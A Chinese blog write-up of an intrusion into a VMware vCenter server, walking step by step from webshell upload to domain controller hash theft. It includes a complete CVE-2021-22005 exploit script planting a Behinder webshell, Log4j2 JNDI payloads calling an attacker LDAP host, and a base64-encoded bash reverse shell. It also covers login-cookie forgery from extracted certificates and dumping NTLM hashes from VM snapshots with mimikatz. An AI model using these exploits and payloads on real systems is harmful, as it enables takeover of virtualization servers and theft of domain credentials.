记一次VMware vCenter渗透过程(主要是踩坑分享)

news2024/11/18 1:43:00

针对VMware vCenter的介绍就不多说了,大佬们可以自己搜搜。这里只分享过程和踩到的坑点&技巧。

1 坑点&技巧总结

总体流程分为三大步:
拿wenshell-->获取登录Cookie-->获取域控账密/hash(有域控的情况下)

相应的坑点&技巧也分别在不同的阶段说明,不想看过程的佬可以直接看总结:

拿webshell阶段:
1. 上传webshell使用https协议;
2. 存在多个漏洞时,优先使用CVE-2021-22005,因为该漏洞上去权限为root,不用进行提权;log4j2得到的shell一般也是root权限;
3. 使用log4j2 Poc 时,注意/sso后面的域名信息;

获取登录Cookie阶段:
1. 3gstudent大佬优化的脚本,获取Cookie时省去了装某些Python环境的麻烦;
2. 下载data.mdb文件后,分析不出证书,可以重新下载或者将脚本上传到目标服务器试试;
3. 获取到Cookie后,在IP后拼接/ui访问进入控制台页面;
4. 在控制台生成的快照可能不在本机,需要在相似名字的辅助机器找找;

获取域控账密/hash阶段:
1. 可以使用VM安装目录自带的Vmss2core,将vmem和vmsn文件转储为dmp文件;

过程如下:

1 获取webshell

1、指纹识别

拿到资产
https ://10.x.x.x

棱洞识别效果:

2、判断版本

https ://x.x.x.x/sdk/vimServiceVersions.xml

3、CVE-2021-22005

这里使用的是cve-2021-22005,所以就只介绍这个漏洞,影响范围:
● vCenter Server 7.0 < 7.0 U2c build-18356314
● vCenter Server 6.7 < 6.7 U3o build-18485166
● Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
● Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
● 6.7 vCenters Windows版本不受影响
使用exp.py上传马儿(exp文末给出):


然而

这里以为是有什么防护软件,结果发现是协议或者端口问题,只能利用https去上传马儿:

冰蝎连接:root权限

这里给出Linux下,上传的shell地址(方便后面log4j2上传webshell):

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/

2 获取vCenter Cookie登录

存储关键身份验证信息数据位置:
•Linux:
/storage/db/vmware-vmdir/data.mdb
•Windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

脚本一

咱们这里是Linux


将data.mdb下载下来。
然后下载解密脚本

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

pip3 install -r requirements.txt
OK啊,不出意料的报错了!

环境问题可能会浪费很多时间,回头不行再看,这里换个脚本。

脚本二

该脚本是经过大佬优化的,省去了装环境的麻烦。详情见:

https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates

先使用这个脚本,生成如下三个文件(如果data.mdb文件太大,就可以将该脚本上传到服务器上,然后生成下面三个文件):

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

这里重命名为1.py了:
python3 1.py data.mdb

再使用这个脚本:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

生成cookie:

python 2.py 10.x.x.x 10.x.x.x vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

其中vsphere.local是上一步获取到的Domain

获取cookie:

然后访问,F12添加cookie:

添加完后注意,不要直接刷新,而是访问https: //ip/ui,否则就会这样

这里在URL地址栏,拼接/ui刷新后即可进来:

3 获取域控账密/hash

进到控制台后,如果发现域控机器,就可以使用生成快照,然后用工具分析快照文件抓hash。
因为机器都是生产相关的机器,不能使用克隆虚拟机等的骚操作,所以这里只介绍生成快照的方式。

方法一:Volatility来取证获取hash
方法二:Vmss2core Dump hash

前期获取快照的方式都是一样的,如下所示:
如图,生成快照

数据存储中翻文件,找刚生成的快照:不确定的话两个都找找

这里找了好久没找到,最后发现快照在辅助域控的机器上生成:
然后就是下载。

方式一 volatility

使用volatility分析:

https://github.com/volatilityfoundation/volatility
https://github.com/volatilityfoundation/volatility3


没分析出来。
volatility和volatility3都试了不行,遂放弃。

方式二 Vmss2core

该工具,在VM安装目录下自带,就不用去别的地方下载了。选中VM图标,右键“打开文件位置”即可。

需要注意的是,不能把他复制出来使用,直接把vmem和vmsn文件,复制到vmss2core所在目录即可:

目标 VM 是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 、 Windows Server 2019,则执行-W8,否则使用-W:
vmss2core.exe -W8 "Snapshot42.vmsn" "Snapshot42.vmem"

执行成功,会生成memory.dmp文件,如下图所示:

接下来就是用Windbg分析了,下载链接如下:

https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/

安装过程没什么难的,就不说了。
装好后点击左上角“文件”,然后按图所示一次打开dmp文件:

然后找到mimikatz的安装目录,加载mimilib.dll:
给出mimikatz的下载链接:

https://github.com/gentilkiwi/mimikatz/releases
.load D:\Tools\Analysis Tools\mimikatz\x64\mimilib.dll


然后重新加载:

.reload


查看lsass.exe进程的内存地址

!process 0 0 lsass.exe


换到lsass.exe进程中

.process /r /p ffffe001c2ddf080


运行mimikatz,得到NTLM哈希值:

!mimikatz


后续就是验证hash,横向了。

4 log4j2 注意事项

注意这里有个坑,不能盲目使用Poc:
如果访问https ://ip :port,跳转到了某个域名链接,那么/SSO/后面跟的就是该域名http://domain.com,如:

GET /websso/SAML2/SSO/domain.com?SAMLRequest= HTTP/1.1
Host: 10.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Forwarded-For: ${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho}
cmd: whoami

否则就是vsphere.local

GET  HTTP/1.1
Host: 10.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Forwarded-For: ${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho}
cmd: whoami

说白了,就是使用正确的URL。

反弹shell可以使用

echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4zLjEuMS8zMzMzMyAwPiYx | base64 -d |bash

这样子操作不太方便,不想进行添加用户/写公钥等复杂操作的话,我们写入冰蝎马:
路径为:

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/

命令为:

echo -n c3VjY2VzcyE8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpe1N0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtDaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKGsuZ2V0Qnl0ZXMoKSwiQUVTIikpO25ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGMuZG9GaW5hbChuZXcgc3VuLm1pc2MuQkFTRTY0RGVjb2RlcigpLmRlY29kZUJ1ZmZlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpKSkubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpO30lPg== | base64 -d  > pgtest.jsp

然后访问:
https ://10.x.x.x/idm/..;/pgtest.jsp

冰蝎连接,密码是rebeyond

接下来就是上面获取Cookie的重复操作了。

附cve-2021-22005exp:

# -*- coding: utf-8 -*-
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
 return ''.join(random.choice(chars) for _ in range(size))

def escape(_str):
 _str = _str.replace("&", "&amp;")
 _str = _str.replace("<", "&lt;")
 _str = _str.replace(">", "&gt;")
 _str = _str.replace("\"", "&quot;")
 return _str

def str_to_escaped_unicode(arg_str):
 escaped_str = ''
 for s in arg_str:
   val = ord(s)
   esc_uni = "\\u{:04x}".format(val)
   escaped_str += esc_uni
 return escaped_str


def createAgent(target, agent_name, log_param):


 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = { "Cache-Control": "max-age=0", 
       "Upgrade-Insecure-Requests": "1", 
       "User-Agent": "Mozilla/5.0", 
       "X-Deployment-Secret": "abc", 
       "Content-Type": "application/json", 
       "Connection": "close" }

 json_data = { "manifestSpec":{}, 
        "objectType": "a2",
        "collectionTriggerDataNeeded": True,
        "deploymentDataNeeded":True, 
        "resultNeeded": True, 
        "signalCollectionCompleted":True, 
        "localManifestPath": "a7",
        "localPayloadPath": "a8",
        "localObfuscationMapPath": "a9" }

 requests.post(url, headers=headers, json=json_data, verify=False)


def generate_manifest(webshell_location, webshell):

 manifestData = """<manifest recommendedPageSize="500">
   <request>
    <query name="vir:VCenter">
      <constraint>
       <targetType>ServiceInstance</targetType>
      </constraint>
      <propertySpec>
       <propertyNames>content.about.instanceUuid</propertyNames>
       <propertyNames>content.about.osType</propertyNames>
       <propertyNames>content.about.build</propertyNames>
       <propertyNames>content.about.version</propertyNames>
      </propertySpec>
    </query>
   </request>
   <cdfMapping>
    <indepedentResultsMapping>
      <resultSetMappings>
       <entry>
         <key>vir:VCenter</key>
         <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
            <resourceItemToJsonLdMapping>
             <forType>ServiceInstance</forType>
            <mappingCode><![CDATA[  
             #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
             #set($orig_log = $appender.getFile())##
             #set($logger = $GLOBAL-logger.logger.parent)##  
             $appender.setFile("%s")##  
             $appender.activateOptions()## 
             $logger.warn("%s")## 
             $appender.setFile($orig_log)##  
             $appender.activateOptions()##]]>
            </mappingCode>
            </resourceItemToJsonLdMapping>
          </value>
         </value>
       </entry>
      </resultSetMappings>
    </indepedentResultsMapping>
   </cdfMapping>
   <requestSchedules>
    <schedule interval="1h">
      <queries>
       <query>vir:VCenter</query>
      </queries>
    </schedule>
   </requestSchedules>
 </manifest>""" % (webshell_location, webshell)

 return manifestData

def arg():
 parser = argparse.ArgumentParser()
 parser.add_argument("-t", "--target", help = "Target", required = True)
 args = parser.parse_args()
 target = args.target
 print("[*] Target: %s" % target)
 return target

def exec():
 target = arg()
 # Variables
 webshell_param = id_generator(6)
 log_param = id_generator(6)
 agent_name = id_generator(6)
 shell_name = "test.jsp"
 #webshell = """<% out.println("test");%>"""
 webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""

 webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
 webshell = str_to_escaped_unicode(webshell)
 manifestData = generate_manifest(webshell_location,webshell)
 print("[*] Creating Agent")
 createAgent(target, agent_name, log_param)
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = {"Cache-Control": "max-age=0", 
          "Upgrade-Insecure-Requests": "1", 
          "User-Agent": "Mozilla/5.0", 
          "X-Deployment-Secret": "abc", 
          "Content-Type": "application/json", 
          "Connection": "close"}
 json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
 requests.post(url, headers=headers, json=json_data, verify=False)
 #webshell
 url = "%s/idm/..;/%s" % (target, shell_name)
 code = requests.get(url=url, headers=headers,verify=False).status_code
 if code != "404":
   print("shell: %s" % url)
   print("password: rebeyond" )

 else:
   print("not found test.jsp")


if __name__ == '__main__':
 exec()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1864290.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Robust semi-supervised segmentationwith timestep ensembling diffusion models

时间步合成扩散模型的鲁棒半监督分割 摘要 医学图像分割是一项具有挑战性的任务&#xff0c;由于许多数据集的大小和注释的限制&#xff0c;使得分割更加困难。消噪扩散概率模型(DDPM)最近在模拟自然图像的分布方面显示出前景&#xff0c;并成功地应用于各种医学成像任务。这…

LangChain之Agent代理

OpenAI Functions Agent 概述 某些OpenAI模型(如gpt-3.5-turbo-0613和gpt-4-0613)已经过微调,可以检测何时应该调用特定的函数,并应该将该函数的正确输入进行响应。在API调用中&#xff0c;您可以描述想要调用的函数&#xff0c;然后让模型智能地选择输出包含调用这些函数所需…

使用 MediaPipe 实现实时手部追踪和手势识别 | Rerun展示

点击下方卡片&#xff0c;关注“小白玩转Python”公众号 在本文中&#xff0c;我将展示一个使用 MediaPipe Python 和 Rerun SDK 进行手部追踪和手势识别的示例。如果您有兴趣深入了解并扩展您的知识&#xff0c;我将指导您如何安装 MediaPipe Python 和 Rerun SDK 来进行手部追…

web前端课程大作业-高校学生事务中心

文章目录 概述代码页面截图代码链接 概述 仿制高校的学生事务中心&#xff0c;一个登录和注册页面 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" conten…

计算机毕业设计Thinkphp/Laravel智能道路交通管理系统4ir8r

Laravel非常的简洁并且是开源的&#xff0c;Laravel 是一个具有表现力、优雅语法的 Web 应用程序框架. Laravel 是构建现代全栈 Web 应用程序的最佳选择. 它的语法更富有表现力&#xff0c;拥有高质量的文档和丰富的扩展包&#xff0c;技术上它有Bundle扩展包、Eloquent ORM、反…

报道 | 2024年7月-2024年9月国际运筹优化会议汇总

封面图来源&#xff1a; https://www.pexels.com/zh-cn/photo/1181406/ 2024年7月-2024年9月召开会议汇总&#xff1a; 2024 INFORMS Advances in Decision Analysis Conference (ADA) Location: Finland Important Dates: Conference: July 10-12, 2024 Details:https://w…

聚星文社官网

推文工具可以帮助你将小说内容简洁明了地转化为推文形式&#xff0c;以便更好地在社交媒体上进行宣传和推广。以下是一些建议的小说推文工具&#xff1a; 聚星文社 字数统计工具&#xff1a;使用字数统计工具&#xff0c;如Microsoft Word或在线字数统计器&#xff0c;来确保你…

【AIGC】《AI-Generated Content (AIGC): A Survey》

文章目录 相关概念What is AI-generated content?Necessary conditions of AIGCHow can AI make the content better?The industrial chain of AIGCAdvantages of large-scale pre-trained modelsGeneration of smart textPros of AIGCCons of AIGCAIGC and Metaverse 挑战潜…

第 11 课:组件介绍与自定义开发

本讲主要介绍了隐语的组件标准、已有的组件能力以及进一步的自定义开发流程。经过本讲的学习&#xff0c;可以为将隐语集成到任意调度系统&#xff0c;基于Kusica/SecretPad进行二次开发&#xff0c;以及参与隐语开放标准共建建立基础。 一、隐语开放标准 隐语提出的适用于隐私…

Sora:探索AI视频模型的无限可能

随着人工智能技术的飞速发展&#xff0c;AI在视频处理和生成领域的应用正变得越来越广泛。Sora&#xff0c;作为新一代AI视频模型&#xff0c;展示了前所未有的潜力和创新能力。本文将深入探讨Sora的功能、应用场景以及它所带来的革命性变化。 一、Sora的核心功能 1.1 视频生…

java类的加载 ,类加载器以及双亲委派机制详细介绍

1_类的加载 路径 类的加载过程类的加载时机 类的加载 当程序在运行后&#xff0c;第一次使用某个类的时候&#xff0c;会将此类的class文件读取到内存&#xff0c;并将此类的所有信息存储到一个Class对象中 说明&#xff1a;Class对象是指java.lang.Class类的对象&#xff0c…

Orangepi Zero2使用外设驱动库wiringOP驱动蜂鸣器

目录 一、安装外设驱动库 1.1 wiringPi外设SDK安装&#xff1a; 二、使用wiringOP库驱动蜂鸣器 2.1 蜂鸣器的硬件连接&#xff1a; 2.2 使用wiringOP库实现蜂鸣器滴滴响&#xff1a; 2.3 设置vim代码显示格式&#xff1a; 一、安装外设驱动库 1.1 wiringPi外设SDK安装&a…

讨论stl链表

讨论链表 list迭代器失效list的模拟实现创建结点类链表迭代器完成实现代码 list与vector 链表是一个序列容器&#xff0c;在任意位置都可以用常数时间插入或者删除&#xff0c;并且可以在两个方向进行迭代。 list迭代器失效 迭代器失效指迭代器所指向的结点无效&#xff0c;即该…

windows@局域网或蓝牙文件传输@共享文件夹@就近共享

文章目录 windows系统下的简单共享文件方案&#x1f47a;就近共享设置共享文件夹(推荐)方法1:使用shrpubw程序引导创建方法2:使用图形界面创建右键设置共享文件夹 查看所有已经共享的文件夹&#x1f47a;停止某个文件的共享 共享文件夹的访问控制补充匿名访问问题&#x1f60a;…

JFrame和JScrollPanel布局初步使用

还不是很了解&#xff0c;做了几个程序&#xff1b; import java.awt.Container; import java.awt.Color; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.border.EmptyBorder;public class pa1 {public static void main(String[] agrs){JF…

一个多文件工程的例子

代码; main.c #include <stdio.h> #include "add.h" #include "sub.h"int main(void) {int a10,b12;float x1.23456,y9.87654321;printf("int ab IS :%d\n",add_int(a,b));printf("int a-b IS :%d\n",sub_int(a,b));printf(&q…

STM32 中断和事件的区别

原文 简述 上图蓝线为中断的处理过程&#xff0c;红线是事件处理过程。 区别 中断&#xff08;Interrupts&#xff09;&#xff1a; 简述&#xff1a;当发生中断请求后&#xff0c;CPU暂停当前任务&#xff0c;进入对应的中断服务函数&#xff0c;完成后再回到原来暂停的地方…

IP地址专用SSL证书申请指南

IP地址SSL证书是一种专门设计用于IP地址的SSL/TLS证书&#xff0c;部署IP地址SSL证书可以实现IP地址HTTPS加密。 一&#xff1a;前提条件 1&#xff1a;申请IP地址SSL证书,必须拥有这个IP地址的管理权限 2 &#xff1a;80、443、22、端口中任一个可以短暂开放 二&#xff1…

rtthread stm32h743的使用(十)i2c设备使用

我们要在rtthread studio 开发环境中建立stm32h743xih6芯片的工程。我们使用一块stm32h743及fpga的核心板完成相关实验&#xff0c;核心板如图&#xff1a; 1.建立新工程&#xff0c;选择相应的芯片型号及debug引脚及调试器 2.打开cubemux&#xff0c;设置外部时钟及串口外设…

Java文件操作小项目-带GUI界面统计文件夹内文件类型及大小

引言 在Java编程中&#xff0c;文件操作是一项基本且常见的任务。我们经常需要处理文件和文件夹&#xff0c;例如读取、写入、删除文件&#xff0c;或者遍历文件夹中的文件等。本文将介绍如何使用Java的File类和相关API来统计一个文件夹中不同类型文件的数量和大小。 准备工作…